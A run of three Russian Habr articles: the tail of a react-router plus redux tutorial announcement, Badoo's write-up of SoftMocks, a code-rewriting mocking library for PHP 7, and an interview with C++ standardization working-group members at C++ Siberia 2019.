В процессе интеграции rr+redux я **не использовал** [react-router-redux](https://github.com/reactjs/react-router-redux) и [redux-router](https://github.com/acdlite/redux-router). Как указано в самой книге, из-за активного развития библиотек, мне хотелось бы «научить вас рыбачить», а не просто «дать рыбу».
Также, приведенный способ по интеграции основан на личном опыте, плюс ответах разработчика redux ([его твиттер](https://twitter.com/dan_abramov)) на SO, и изучении различных репозиториев. Он не является «единственно верным». Пожалуйста, укажите ссылки на ваши репозитории, либо предложите свои варианты в комментариях.
Поехали!
#### React-router
Библиотека в рекламе не нуждается. Мощные возможности по вложению роутов (nesting) и в принципе, хорошая высокоуровневая абстракция.
В основе материала – официальные туториалы ([раз](https://github.com/reactjs/react-router-tutorial/tree/master/lessons), [два](https://github.com/reactjs/react-router/tree/master/docs/guides)), а так же несколько блогов (например, блог [James K Nelson'a](http://jamesknelson.com/routing-with-raw-react/)).
Так же в твиттере пытались «зафорсить» написание «[неофициальной документации](http://knowbody.github.io/react-router-docs/)», но пока что прогресс там полностью стих.
#### React-router + redux
Многие (как и я) ждут этого раздела в официальной документации redux. Но пока этого не случилось, на помощь приходит «философия redux» + крупицы информации разбросанные по сети.
*Что я имею ввиду под «философией redux»?*
**Во-первых**: роутинг – это «действия» (actions).
**Во-вторых**: мы не можем просто взять и использовать `browserHistory.push` внутри уже существующих *actionCreators* (функций-создателей действий). Почему? Потому что – это **side-эффект**.
На помощь приходит идея использования middleware’ов (функций-прослоек). Например, хочется использовать примитивный вариант:
*Если action.redirect есть -> browserHistory.push(nextUrl)*\*
Данный ответ нарушает соглашение, что middleware обязан возвращать next().
\* я уже второй раз упоминаю [browserHistory](https://github.com/reactjs/react-router/blob/39a87cb777a44972683a3323c3adb86cef26797b/modules/index.js#L30). Это связано с тем, что данные методы (push, replace, и т.д.) доступны по умолчанию, когда вы подключаете на проект react-router.
В поисках ответа на вопрос, я посмотрел [глубже](https://github.com/acdlite/redux-router/blob/master/src/historyMiddleware.js) в код redux-router. Я хотел достичь следующей цели: иметь возможность вызывать роутинг с помощью нативного для redux – **store.dispatch**
Таким образом мы сохраняем «философию». Весь процесс «потока данных» в приложении четко контролируется нами.
В туториале разобрана банальная задача:
Если пользователь ввел логин – перенаправь его на `/admin`, если же пользователь не залогинен и пытается зайти на `/admin` – перекинь его на форму регистрации ( `/login` ).
Для успешного решения этой задачи я использовал код [react-redux-jwt-auth-example](https://github.com/joshgeller/react-redux-jwt-auth-example). Отличная демонстрация мощного приема «оборачивания компонента».
Решение этой задачи и есть ключ к пониманию процесса вызова действий, связанных с роутингом, так как все задачи "оперы" redux + роутинг сводятся к следующему: получен какой-то ответ (success, failure...) — отправь (*dispatch*) событие роутинга.
---
Вопрос к хабражителям:
Как думаете, нужно ли сделать отдельную статью для описания процесса интеграции react-router + redux (по факту это раздел «Подключаем redux» из учебника. Он короткий)? Для чего? Возможно, другие разработчики, кто давно работает с такой связкой увидят подход и код сразу в статье, а следовательно, прокомментируют.
Внизу опрос.
---
Интересные вопросы на SO:
[You don’t have to keep everything in the store](http://stackoverflow.com/a/36749963/1916578)
[Transition to another route on successful async redux action](http://stackoverflow.com/questions/32612418/transition-to-another-route-on-successful-async-redux-action/32922381)
[How to connect to redux store from react-router onEnter hook?](http://stackoverflow.com/questions/33488090/how-to-connect-to-redux-store-from-react-router-onenter-hook)
---
Немного статистики (на 25.04.2016):
[React.js для начинающих](https://www.gitbook.com/book/maxfarseer/react-course-ru/details): 59,481 просмотров, 8,245 посетителей, 3,843 скачиваний в формате pdf/epub/mobi.
[Туториал по Redux на русском](https://www.gitbook.com/book/maxfarseer/redux-course-ru/details): 66,978 просмотров, 7,942 посетителей, 2,832 скачиваний.
На оба курса – 41 + 38 «дискуссий». Это в основном грамматические ошибки. Есть так же пара дельных замечаний ([на хабре](https://habrahabr.ru/post/279249/#comment_8807873)).
Я хочу сказать всем большое спасибо за ваше участие и интерес. По-прежнему на связи: [twitter](https://twitter.com/MaxPatsiansky), почта — maxfarseer@gmail.com
P.S. автор обложки zirael\_m@mail.ru (Мария, [профиль](https://freelance.ru/Marik0) на freelance) | https://habr.com/ru/post/282369/ | null | ru | null |
# SoftMocks: наша замена runkit для PHP 7
 Компания Badoo одной из первых перешла на PHP 7 — мы совсем недавно [писали об этом](https://habrahabr.ru/company/badoo/blog/279047/). В той статье мы говорили об изменениях в инфраструктуре тестирования и обещали подробнее рассказать о разработанной нами замене для расширения runkit под названием SoftMocks.
### SoftMocks
Идея у SoftMocks очень простая и отражена в названии: нужно реализовать аналог для runkit, максимально совместимый с ним по семантике, на чистом PHP. Soft здесь подчеркивает то, что он реализован не внутри ядра PHP, а поверх него, без использования Zend API и прочего hardcore. Тот факт, что он на чистом PHP, означает, что мы можем спокойно переходить на новую версию PHP и просто добавлять поддержку нового синтаксиса, а не переписывать расширения с новой версией Zend API и ловить миллионы багов из-за различных тонкостей в семантике.
На чистом PHP это можно сделать аналогично тому, как работают многие инструменты для Go, такие как [godebug](https://github.com/mailgun/godebug), go test -cover и т.д. — автоматизированным переписыванием кода, в нашем случае — на лету, прямо перед «инклюдами». В интернете можно найти фреймворк для тестирования [AspectMock](https://github.com/Codeception/AspectMock), работающий поверх библиотеки [Go! AOP](https://github.com/goaop/framework), которая тоже занимается переписыванием кода и предоставляет возможность писать в AOP-стиле. Фреймворк хорош, но он не позволяет полностью заменить runkit в наших условиях, поэтому мы решили написать свое решение по образу и подобию этой библиотеки. К сожалению, вышеупомянутый фреймворк не представляет возможности перехватывать функции и методы на лету (то есть без предварительного объявления о намерении перехватывать конкретную функцию). Это отличается от поведения runkit и uopz, хотя тоже имеет свою сферу применения.
### Что позволяет делать runkit
Расширение runkit в PHP позволяет проводить различные манипуляции над состоянием объектов, функций, методов и констант прямо во время исполнения PHP-кода.
Пример из документации (http://php.net/manual/en/function.runkit-function-redefine.php).
Тестовая программа:
>
> ```
> php
> function testme() {
> echo "Original Testme Implementation\n";
> }
> testme();
> runkit_function_redefine('testme','','echo "New Testme Implementation\n";');
> testme();
> </code
> ```
>
>
>
Вывод тестовой программы:
>
> ```
> Original Testme Implementation
> New Testme Implementation
>
> ```
>
>
>
Такие возможности runkit мы очень широко используем во время функционального и юнит-тестирования. В основном использование этого расширения ограничивается подменой реализации методов, функций и значений констант.
### API нашей библиотеки
Мы бы хотели получить такую же функциональность с возможностью переопределять любые функции и методы на лету, без предварительных объявлений. Вот как выглядит программа с использованием SoftMocks вместо runkit (пример тот же):
>
> ```
> php // файл test.php
> function testme() {
> echo "Original Testme Implementation\n";
> }
> testme();
> \QA\SoftMocks::redefineFunction('testme', '', 'echo "New Testme Implementation\n";');
> testme();
> </code
> ```
>
>
>
Команда для запуска примера выглядит следующим образом:
>
> ```
> $ php -r 'require("init.inc"); require(SoftMocks::rewrite("test.php"));'
>
> ```
>
>
>
Вывод тестовой программы такой же, как в runkit.
Файл init.inc содержит в себе код для инициализации класса SoftMocks и выглядит следующим образом (конкретный вид файла будет зависеть от вашего приложения):
>
> ```
> php
> // код загрузки всех классов PhpParser
> // (необходимо сделать в самом начале, до загрузки SoftMocks)
> require($php_parser_dir . "Autoloader.php");
> \PhpParser\Autoloader::register(true);
> $out = [];
> exec('find ' . escapeshellarg($php_parser_dir) . " -type f -name '*.php'", $out);
> foreach ($out as $f) {
> require_once($f);
> }
>
> // загрузка и инициализация SoftMocks (всего один файл!)
> require_once("SoftMocks.php");
> \QA\SoftMocks::init();
> </code
> ```
>
>
>
### Идея реализации
Изначальная идея была достаточно простая: мы можем оборачивать все вызовы методов и функций, а также обращения к константам в вызовы нашей обертки (*англ.* wrapper), который проверяет, есть ли mock-объект для конкретного метода и функции или нет.
Таким образом, код из такого
>
> ```
> class A extends B {
> public function test($a, $b) {
> parent::test($a, $b);
> $c = file_get_contents("something.txt");
> return $c;
> }
> }
>
> ```
>
превратится в такой:
>
> ```
> class A extends B {
> public function test($a, $b) {
> \QA\SoftMocks::call([parent::class, 'test'], [$a, $b]);
> $c = \QA\SoftMocks::call('file_get_contents', ['something.txt']);
> return $c;
> }
> }
>
> ```
>
Код для метода SoftMocks::call() мог бы тогда выглядеть следующим образом:
>
> ```
> public static function call($func, $args) {
> if (!self::isMocked($func)) {
> return call_user_func_array($func, $args);
> }
> return self::callMocks($func, $args);
> }
>
> ```
>
### Начало реализации: рекурсивное переписывание include
Вначале мы написали простенький парсер, который умел делать только одну вещь — подменять вызовы include(...) и require(...), чтобы мы могли включить использование SoftMocks во фронт-контроллере или, для PHPUnit-тестов, в bootstrap.php, и все файлы были бы рекурсивно переписаны нашим парсером.
Пример:
>
> ```
> // код фронт-контроллера до модификаций (front.php)
> php
> require('autoload.php');
> $app = new App();
> $app-run(...);
>
> ```
>
Здесь autoload.php подгружает классы для autoload-проекта, регистрирует и инициализирует все необходимое, возможно, загружая еще какие-то файлы с помощью include(...). Оригинальный файл с фронт-контроллером нужно переместить в другое место, например, front-orig.php, и заменить на такое:
>
> ```
> // код фронт-контроллера после модификаций
> php
> if ($soft_mocks_enabled) {
> require('soft_mocks_init.inc');
> include(\QA\SoftMocks::rewrite("front-orig.php"));
> } else {
> include("front-orig.php");
> }
> </code
> ```
>
После прохода нашего парсера файл front-orig.php будет выглядеть следующим образом:
>
> ```
> // переписанный код фронт-контроллера с помощью SoftMocks
> php
> require(\QA\SoftMocks::rewrite('autoload.php'));
> $app = new App();
> $app-run(...);
>
> ```
>
Метод SoftMocks::rewrite($filename) переписывает файл, заменяя require, include, вызовы методов и прочее на вызов оберток. Возвращаемое значение этой функции — новый путь до файла, который содержит уже обернутый код и позволяет на лету переопределять значения функций, методов и констант.
Например, `front-orig.php` будет превращен в `/tmp/mocks//front-orig.php\_`. В пути до скомпилированного файла считается на основании содержимого и пути до файла, что позволяет нам кешировать скомпилированные файлы и проводить процедуру парсинга и переписывания файла только один раз.
Вначале мы хотели переписывать только include и require, чтобы оценить сложность полноценного парсинга. Оказалось, что PHP позволяет не использовать скобки для таких конструкций (т.е. можно писать `require "a.php";` вместо `require("a.php"))`, а также поддерживаются выражения и вызовы других функций. Это делает простейшую задачу по замене «инклюдов» сложнее, чем это необходимо. Также есть константы \_\_FILE\_\_ и \_\_DIR\_\_, значения которых меняются динамически, в зависимости от расположения файла. У нас часто встречается код наподобие `include(dirname(__DIR__) . “/something.php”);`, и обращения к константам \_\_DIR\_\_ и \_\_FILE\_\_ нужно заменять на их содержимое.
Еще одной неприятной проблемой было то, что в include возможно использование относительных путей (`require "a.php"`), и, соответственно, нужно обращать внимание на настройку include\_path и подменять значение текущей директории (".") на директорию у исходного, а не переписанного файла.
### token\_get\_all() vs PHP Parser
Первая версия нашего парсера старалась использовать функцию token\_get\_all(), которая работает весьма быстро и возвращает массив токенов в файле. Проблема в том, что на ее основе очень сложно парсить вложенные аргументы функций и уж тем более заменять списки аргументов на массив, как нужно нам в случае с оборачиванием вызова функции в SoftMocks::call().
Поэтому мы взяли библиотеку Никиты Попова под названием [PHP Parser](https://github.com/nikic/PHP-Parser). Эта библиотека умеет строить AST-дерево на основе списка токенов, возвращаемых token\_get\_all(), и также предоставляет удобные инструменты для обхода дерева и его модификации. Библиотека позволяет легко реализовать именно то, что нам нужно.
К сожалению, у парсера есть недостатки:
1. Низкая производительность: парсинг файла занимает, по нашим бенчмаркам, примерно в 15 раз больше времени, чем token\_get\_all().
2. Невозможность печати модифицированного дерева обратно с сохранением исходных номеров строк.
Если с первой проблемой сложно что-то сделать, поскольку библиотека на PHP, то второй недостаток мы устранили сами, расширив предлагаемый «из коробки» принтер. Для наших целей было не так важно, чтобы файл на выходе был «красивым», нам требовалось только по максимуму сохранить оригинальные номера строк, чтобы сообщения об ошибках в PHPUnit и подсчет покрытия кода тестами не пострадали.
### Конечная реализация
На основе PHP Parser мы быстро написали прототип, который делает именно то, что мы изначально хотели — оборачивает обращения к методам и функциям в вызовы своей прослойки. К сожалению, в случае с методами обнаружилось немало проблем с таким подходом:
1. Семейство call\_user\_func\* не позволяет вызывать методы private и protected, поэтому нужно использовать Reflection, что не очень хорошо сказывается на производительности
2. Чтобы вызвать родительский метод, нужно прибегать к «особой уличной магии» — вызовы parent-методов записываются как `parent::call_something(...)`, при этом вызов на самом деле не статический, а динамический. Помимо этого, значение класса static должно сохраняться, а не указывать на parent-класс. К сожалению, мы не нашли простого способа сохранить текущий static-контекст при вызовах через Reflection — вероятно, такого способа пока что не существует.
3. Поскольку мы всегда вызываем методы через Reflection с использованием setAccessible(true), то мы, по сути, всегда вызываем методы private и protected как если бы они были public, тогда как в «настоящем» коде это могло бы привести к Fatal error во время исполнения. Получается, что мы меняем поведение тестируемого кода, что непозволительно.
4. Невозможно таким образом подменить реализацию для «магических» методов, например, для \_\_construct, а также \_\_get, \_\_set, \_\_clone, \_\_wakeup и т.д.
В итоге мы пришли к тому, что mock-объекты для методов класса мы будем осуществлять путем вставки дополнительного кода перед каждым определением метода. Пример
>
> ```
> public function doSomething($a) {
> return $a > 5;
> }
>
> ```
>
превратится в следующее:
>
> ```
> public function doSomething($a) {
> if (SoftMocks::isMocked(...)) { return eval(SoftMocks::getMockCode(...)); }
> return $a > 5;
> }
>
> ```
>
Мы не оборачиваем вызовы методов, но все равно делаем это для функций. Такой подход не позволяет перехватывать методы встроенных классов, однако, на удивление, эта возможность нам так и не понадобилась. Интересно, что в библиотеке AspectMock используется похожий подход для mock-объектов методов.
При работе с функциями проблемы тоже есть.
1. Некоторые функции зависят от текущего контекста, например, get\_called\_class().
2. В функции могут передаваться значения вроде `static` (строкой) и `self`, и поскольку вызов функции осуществляется через нашу обертку, функции получают другие значения для этих ключевых слов. В таких случаях требуется модифицировать тестируемый код, чтобы в функции передавались не строки, а имена классов, например, `static::class` вместо `static`.
3. Функции, которые могут вызывать callback, например, preg\_replace\_callback, могут вызывать private-методы. Поскольку настоящий вызов функции preg\_replace\_callback происходит из класса SoftMocks, то происходит ошибка доступа и private-методы из этого контекста становятся недоступны. Решением проблемы тоже является переписывание кода, например, передача анонимных функций вместо `array($this, 'callback')`.
Для решения большинства этих проблем мы сделали поддержку «черного списка» функций, которые не оборачиваются и вызываются всегда напрямую. Вот некоторые из них: get\_called\_class, get\_parent\_class, func\_get\_args, usort, array\_walk\_recursive, extract, compact, get\_object\_vars. Эти функции нельзя подменить с помощью SoftMocks.
Перехват глобальных констант и констант классов осуществляется очень просто: все обращения к константам мы заменяем на вызов функций. Исключение составляют только те случаи, когда константы указываются в качестве значения по умолчанию в аргументах функций или свойств классов. То есть следующие места мы не можем переписывать:
>
> ```
> class A { private $b = SOME_CONST; } // не может быть переписано, будет parse error
>
> function doSomething($a = OTHER_CONST) {
> // обращение к константе в таком месте не переписывается в данный момент,
> // но это можно обойти, если анализировать число
> // передаваемых аргументов в функцию
> }
>
> ```
>
Также мы приняли решение не оборачивать константы true, false и null из соображений производительности. Это значит, что, в отличие от runkit, в SoftMocks нельзя будет сделать `redefineConstant("true", false);`.
### Производительность
Поскольку SoftMocks написан на чистом PHP, можно было бы ожидать, что его производительность будет хуже по сравнению с runkit. На самом деле наши тесты стали проходить быстрее и стабильнее, поскольку SoftMocks не страдает от таких проблем, как необходимость сбрасывать runtime cache при любом вызове. Наша библиотека не страдает от деградации производительности при увеличении числа загруженных классов и функций, поэтому общая производительность в нашем случае оказалась даже немного лучше.
Если не использовать функции SoftMocks вообще, но все равно исполнять переписанный код, то его производительность, по нашим оценкам, снижается примерно в 3 раза. В целом мы бы рекомендовали использовать SoftMocks для юнит-тестов и не использовать эту библиотеку на продакшене как из соображений производительности, так и из соображений безопасности: библиотека создает временные файлы и делает include из директории с возможностью записи из веб-контекста.
### Интеграция с PHPUnit
Поскольку мы подменяем пути до файлов, которые «инклюдятся», backtrace становится нечитаемым из-за автогенерированных файлов вместо оригинала. Также, поскольку PHPUnit сам загружает файлы, а его исходный код мы не переписываем, это делает невозможным подмену функций и методов, определенных в файлах с тестами.
Чтобы решить эти проблемы, мы подготовили pull-request для PHPUnit: [github.com/sebastianbergmann/phpunit/pull/2116](https://github.com/sebastianbergmann/phpunit/pull/2116)
### Заключение
Наш проект SoftMocks выложен на GitHub по адресу: [github.com/badoo/soft-mocks](https://github.com/badoo/soft-mocks/).
Мы используем PHP Parser Никиты Попова, который также доступен на GitHub: [github.com/nikic/PHP-Parser](https://github.com/nikic/PHP-Parser).
Мы добились того, чтобы при переписывании кода на лету можно было подменять реализацию функций, пользовательских методов и констант — и все это на чистом PHP, без использования сторонних расширений. В нашем случае мы смогли полностью избавиться от runkit, «прогнать» весь наш suite из 60 000 юнит-тестов под PHP 7 и исправить найденные несовместимости (таковых было обнаружено очень мало, и часть из них — ошибки в dev-версиях PHP 7, о которых мы сообщили разработчикам).
В данный момент badoo.com работает на PHP 7, и мы смогли этого достичь в том числе благодаря разработке SoftMocks. Надеюсь, ваш опыт будет таким же положительным, как и наш.
Приятного тестирования!
Юрий Насретдинов, старший PHP-разработчик | https://habr.com/ru/post/279617/ | null | ru | null |
# Беседы о C++: РГ 21, Boost, конференции
Всем привет!
Недавно в Новосибирске прошла очередная C++ Siberia 2019. На конференции была уютная атмосфера и много хороших докладов. Видеозаписи докладов сейчас готовятся к публикации. Пользуясь случаем, я побеседовал с двумя нашими частыми докладчиками, которые редко пропускают конференции и делают всегда отличные доклады: Антон Полухин [antoshkka](https://habr.com/ru/users/antoshkka/) и Павел Филонов.
 Антон — представитель России в ISO на международных заседаниях рабочей группы по стандартизации C++, автор нескольких принятых предложений к стандарту языка C++, Boost-библиотек и книги «Boost C++ Application Development Cookbook».
 Павел — разработчик-исследователь в Лаборатории Касперского, занимается вопросами применения методов машинного обучения в задачах обеспечения безопасности кибер-физических систем, ведёт преподавательскую деятельность. В ожидании видео с конференции предлагаю вам прочитать расшифровку нашей беседы.
**Сергей:** Всем привет! Это Сергей Платонов, мы сейчас на конференции C++ Siberia. Сегодня мы беседуем с нашими постоянными докладчиками — Антоном Полухиным и Павлом Филоновым. Как дела?
**Павел:** Отлично! Мы снова в Новосибирске.
**Сергей:** Мы сейчас сидим лицом прямо к сибирским лесам.
**Павел:** Красивый вид, хорошие люди, очень интересные темы.
**Антон:** А еще на данный момент тут теплее, чем в Москве.
**Сергей:** Я хотел бы с вами сегодня поговорить о С++, как это ни странно звучит на С++ конференции. О разных вещах. Например, меня очень интересует, почему вы приезжаете на конференцию из Москвы в Новосибирск, причем не первый раз.
**Павел:** За себя могу сказать, что у меня главная причина — мне очень нравится кому-то что-то рассказывать. Я не могу это удержать в себе. Когда я узнаю про какую-то новую интересную штуку, с одной стороны, я всегда сомневаюсь, действительно ли она хорошая, интересная, надо пойти рассказать людям и посмотреть, как они отреагируют на это — будут ли они плеваться или попросят приехать еще. И судя по тому, что не плюются, не закидывают помидорами, наверное, те вещи, которые меня распирают, людям нравятся. Хочется их слушать и обсуждать. Плюс всегда радует возможность просто покататься. В Новосибирске я первый раз был именно на конференции С++ Siberia, и второй раз тоже на ней. Просто так я бы сюда не доехал.
**Антон:** По другим городам поездить всегда интересно. В Новосибирске замечательно, тут теплее, чем в Москве. Мокрый снег за шиворот не сыпется. Одни плюсы!
**Сергей:** Я, конечно же, лукавлю и задаю этот вопрос не просто так. У меня есть воспоминания про рабочую группу 21 и про то, как, по-моему, она появилась. Мне интересно послушать человека, который на самом деле ее делал. Как получилось, что Россия теперь представлена в комитете?
**Антон:** Это получилось на С++ Russia в Питере. Я помню, что я заходил в лифт с женой, там уже стоял Гор Нишанов ([Твиттер](https://twitter.com/gornishanov)), я понял, что это отличный способ узнать, как попасть в международный комитет по стандартизации. Собственно, об этом я его и спросил. И Гор такой: «Знаешь, ты сегодня далеко не первый, кто ко мне с этим вопросом подходит. До тебя подходили люди из Яндекса». Я отвечаю, что я в Яндексе совсем недолго работаю, и попросил описать, как эти люди выглядели — я тоже к ним подойду. Гор мне всё рассказал. Я подошел к тем людям, которых он описал. И действительно выяснилось, что Яндекс собирался создать некую рабочую группу, чтобы держать руку на пульсе С++ и представлять интересы российских разработчиков в международном комитете. Группа была создана. Там не только сотрудники Яндекса, есть и сотрудники других компаний.
**Павел:** Сейчас от Лаборатории Касперского в составе группы там работает еще Антон Бикинеев. Сегодня, к сожалению, он не с нами.
**Антон:** Кстати, Антон делает очень крутую штуку — он с руками и ногами влез во внутренности компилятора и пытается реализовать одно из наших предложений. У него даже есть более-менее работающий прототип.
**Павел:** Кстати, он жалуется на тебя, что ты пишешь proposal-ы быстрее, чем он успевает реализовать их в компиляторе.
**Антон:** Да, это так.
**Сергей:** То есть Антон Бикинеев тут выступает как такая core-группа нашей рабочей РГ? Приятно слышать, что конференции приложили к этому руку. Надеюсь, что все понимают, насколько это полезно и интересно. Получается, не обязательно работать в Яндексе, чтобы попасть в рабочую группу?
**Антон:** Вообще необязательно быть частью рабочей группы, чтобы твою идею донесли до комитета по стандартизации С++ или чтобы она вообще стала частью плюсов.
**Павел:** Кажется, можно просто зайти на сайт и оставить своё предложение.
**Антон:** Да, на <https://stdcpp.ru>. Там можно поделиться идеей, обсудить идеи других участников. Идей там много, а рук не хватает, чтобы за всё браться. Поэтому если придет человек и начнет писать конкретные черновики хотя бы каких-то предложений на идеи, то всем станет проще, и эти идеи быстрее попадут в комитет.
**Павел:** Как думаешь, Антон, в каком proposal или чём-то ещё выражен самый большой вклад рабочей группы?
**Антон:** Мы сделали направление для всей статической рефлексии в плюсах. Как сейчас помню: было предложение сделать `constexpr_vector` — отдельный класс, которым можно пользоваться только в constexpr-контексте. Выходит Давид (David Vandevoorde) и рассказывает про эту штуку. Весь зал радостно кричит, давайте это сделаем. И он такой: «Мы же захотим все классы стандартной библиотеки так продублировать? По-другому никак». «Может, `constexpr_new?`» «Нет, оно не работает». И я такой: challenge accepted. И через три месяца я и [Саша Зайцев](https://github.com/ZaMaZaN4iK) сделали прототип, который позволяет `std::vector` работать в constexpr-контексте. Прям работает, на clang, даже в компиляторе ничего не пришлось подшаманивать. Мы показали это Давиду, он говорит: «А! Ну вот так? Не, вы тут схитрили». Мы согласились. Он говорит: «Не, ну так конечно можно. Кстати, почему бы и нет». После этого он выкинул бумагу с `constexpr_vector` и начал работать над тем, чтобы все контейнеры стандартной библиотеки можно было использовать constexpr-контексте, Сейчас там уже много людей. Мы от рабочей группы в основном все алгоритмы промазали constexpr-ом, Луи Дион делает так, чтобы контейнеры были промазаны constexpr-ом, а Давид делает, чтобы сам ядро языка умело делать некое подобие constexpr new.
**Сергей:** Это про аллокаторы?
**Антон:** Да. Была проблема в аллокаторах.
**Сергей:** Здорово! Кажется, что это прям большие изменения.
**Антон:** Еще лет 6, и они появятся в стандарте ;-)
**Павел:** Нет, наверное, мы не так быстро успеем пощупать их на кончиках пальцев.
**Антон:** сonstexpr-контейнеры должны в двадцатый стандарт попасть. constexpr-алгоритмы точно попали.
**Павел:** То есть, всего пару лет?
**Сергей:** Если сейчас у нас начался 2019 год, то 20-й стандарт будет где-то в 2020 году. Ну да, наверное — пару лет.
**Павел:** К тому же, если я правильно помню, раньше компиляторы всегда были отстающими по сравнению со стандартописателями, сейчас я часто вижу попытки сначала что-то прогнать в качестве эксперимента через компилятор — то же, что ты рассказываешь, делает Антон. А уже потом принимать это в виде стандартов.
**Сергей:** Раньше, я помню, был еще TR.
**Антон:** Но их выкинули в пользу TS. Очень многое поменялось, да :-)
**Сергей:** То есть сейчас в современных компиляторах тоже можно подключить неймспейс `ts`?
**Антон:** Там сейчас это делается флажками расширениями к компилятору, то есть есть Coroutines TS, их можно попробовать в Clang и [Visual Studio](https://docs.microsoft.com/en-us/cpp/build/reference/await-enable-coroutine-support?view=vs-2017). Есть modules TS, и они не везде одинаковые. Есть TS-ы на библиотечные вещи, на многопоточность, нетворкинг.
**Сергей:** Это же все-таки ядро языка с аллокаторами, это тоже задается неким отдельным флагом?
**Антон:** Это не будет задаваться отдельным флагом. Давид (David Vandevoorde) — один из разработчиков компиляторов, один из фронтенд-разработчиков EDG, он просто это реализовал. Считается, что это ок, оно ничего не ломает, другие new мы не хотим, что-то тут экспериментировать бессмысленно, всё просто работает. Отлично, затаскиваем.
**Сергей:** Очень круто.
**Павел:** Кстати, возвращаясь к теме конференций. Антон, ты ведь частый спикер не только на С++ Russia, но и посещаешь CPP Con, Meeting CPP, CPP Now, возможно, что-то еще. Можешь как-то сравнить и сказать, в чем ты видишь разницу? Это одни и те же люди, одни и те же темы, или чувствуется, что, в зависимости от того, как ты перемещаешься, меняется тематика или рабочий язык конференции?
**Антон:** В принципе, чувствуется, что на конференциях в России очень сильные разработчики. Им можно рассказывать очень сложные темы. Я попробовал рассказать крайне сложную тему, magic\_get, где-то на другой конференции, и мне запомнился чувак, который по мере моего рассказа перестал реагировать на внешние раздражители. Он просто сидит и не моргает. Я подумал, может, шутеечку вставить — вставил, пошутил — он даже не моргнул. Потом он оклемался. Но, наверное, лучше такой хардкор рассказывать только у нас где-нибудь.
**Сергей:** И только [Антону Бикинееву](https://github.com/AntonBikineev). Просто мы тут вспоминали как раз за обедом историю, когда ты на одном из митапов рассказывал про magic\_get.
**Павел:** Антон на этом митапе присутствовал и обратился к тебе с настолько сложным вопросом, что он явно выходил за пределы того, что ты рассказал. Кажется, про то, что поиск в списке типов идет не линейно, а с помощью бинарного поиска. Ты ему ответил и спросил, откуда он вообще это знает. На что Антон упомянул, что он всю ночь до твоего доклада читал [исходники magic\_get](https://github.com/apolukhin/magic_get), который лежит у тебя на GitHub, и пытался разобраться, как же он работает.
**Антон:** С Антоном Бикинеевым у нас старая странная история. Я видел, как он сделал пару коммитов в Boost, еще до того, как мы были знакомы. И после этого я видел, что он сделал pull request и в Clang, и в constexpr. Я видел этот pull request, и почему-то мне запомнилось в этот момент имя. Наверное, потому, что чувак из Boost, коммитит в Clang — отлично! Потом я рассказываю на С++ Siberia про 17-е плюсы, про if constexpr, и чувак из зала выкрикивает: «Да, я это даже в Clang немного делал». Я такой: «Ты Антон Бикинеев!»
**Сергей:** С++ Siberia соединяет.
**Павел:** Также, если я правильно помню, именно в Сибири мы начали ставить первые эксперименты по мастер-классам. Сначала пытались примериться к ним, посмотреть, зайдет ли этот формат. И как, показывает практика последних 3-4 конференций, если считать C++ Russia — мне кажется, новый формат зашел очень хорошо. У меня, например, теперь есть возможность не в 40 минут пытаться впихнуть какую-то тему, а спокойно 6 часов рассказывать людям всё, что я считаю нужным. Если люди готовы, я рассказываю всё, что могу, даже больше шести часов.
**Антон:** Мастер-классы — это весело. Порой там задают такие вопросы, что ты такой: «Блин, а почему так?» И несколько дней пытаешься понять, почему именно так на этом конкретном компиляторе, на этом конкретном несчастном ноутбуке оно не работает. И находится какая-нибудь ошибка в компиляторе или что-то еще. Казалось бы, ты приходишь на мастер-класс просто что-то рассказать, но вместо этого ты получаешь полезный фидбэк, который помогает где-то подправить, что-то улучшить.
**Сергей:** С точки зрения организатора конференции и куратора сообщества я скажу, что для меня мастер-классы очень полезны, потому что иногда люди идут на него, получают какие-то базовые знания, дальше их развивают, применяют и возвращаются с докладом об этом. Ко мне подходило несколько человек и говорили, что они ходили на мастер-класс к одному из вас, тема их очень заинтересовала, и они сделали свой собственный доклад.
**Павел:** Антон, я помню, что ты еще и автор [книжки по Boost](https://www.amazon.com/Boost-Application-Development-Cookbook-application/dp/1787282244), сейчас уже выходит второе издание. Расскажи, как ты решил ее написать? Я, например, всё никак не возьмусь изложить свои мысли в таком сложном, на мой взгляд, формате.
**Антон:** Это был напряженный месяц в Boost, я там с кем-то спорил, с кем-то ругался и говорил, что надо делать не так. Меня переубеждали и, кажется, переубедили. И издательство как раз искало людей, которые будут писать книгу по Boost. Похоже, они заглянули в рассылку Boost, посмотрели самого активного участника, который говорил увереннее всех остальных, и выбрали меня.
**Павел:** А как ты вообще начал контрибьютить в Boost? Это было связано с работой или просто как хобби?
**Антон:** Это было связано с тем, что я не понимал, как Boost работает. Мы на работе использовали Boost. На одной из самых первых моих работ был Boost, и я вообще не знал, как он там устроен, почему он так работает.
**Павел:** Boost немного магическая библиотека до сих пор.
**Антон:** И я начал смотреть, разбираться, и в какой-то момент я вдруг понял, что вот тут в `lexical_cast` можно сделать получше. Тогда я написал тому мейнтейнеру, Алексею из `lexical_cast`, давай этот патч применим, а он мне не отвечал. Я написал ему еще два-три патчика.
**Павел:** Если я правильно помню, надо быть напористым в продвижении своих патчей.
**Антон:** Безусловно. С опенсорсом так всегда. В итоге мейнтейнер сказал, что он сейчас совсем зашивается, у него много дел, и предложил стать мейнтейнером `lexical_cast` мне. Я обрадовался и согласился. А потом потихоньку на меня навесился Boost.Any, Boost.Variant я подхватил. В тот момент написал парочку своих библиотек, Boost.TypeIndex, Boost.Stacktrace, который сейчас принимается в стандарт.
**Павел:** Откуда ты черпаешь идеи для новых фич в готовых библиотеках?
**Антон:** Некоторые вещи, например, Boost.DLL — это человек писал в рассылку Boost, мол, смотрите, какая у меня классная библиотека, она делает много всего очень страшного, сложного и интересного. Я посмотрел на нее и так: «Ну это да, это да — о, а вот это я бы хотел!» Я связался с этим чуваком и предложил какой-то кусочек для работы с плагинами вынести отдельно. Вынесли отдельно, и получилось так, что этот кусочек попал в Boost намного раньше, чем то, что делает сам человек. Со Stacktrace я в какой-то момент понял, что нет механизма получить Stacktrace. Да, иногда до меня медленно доходит. И это был как раз тот момент, когда я понял, что в плюсах нет возможности получить Stacktrace.
**Павел:** Кажется, я на двух разных работах дважды писал подобную библиотеку для того, чтобы распечатывать стектрейсы при падении.
**Антон:** И вот взял, попробовал, закинул людям из Boost, они сказали, что нет, так не пойдет. Потом я попробовал еще два раза, и вот одна из версий, она всех устроила и прижилась.
**Павел:** Ты же ее при этом как-то используешь в своей работе?
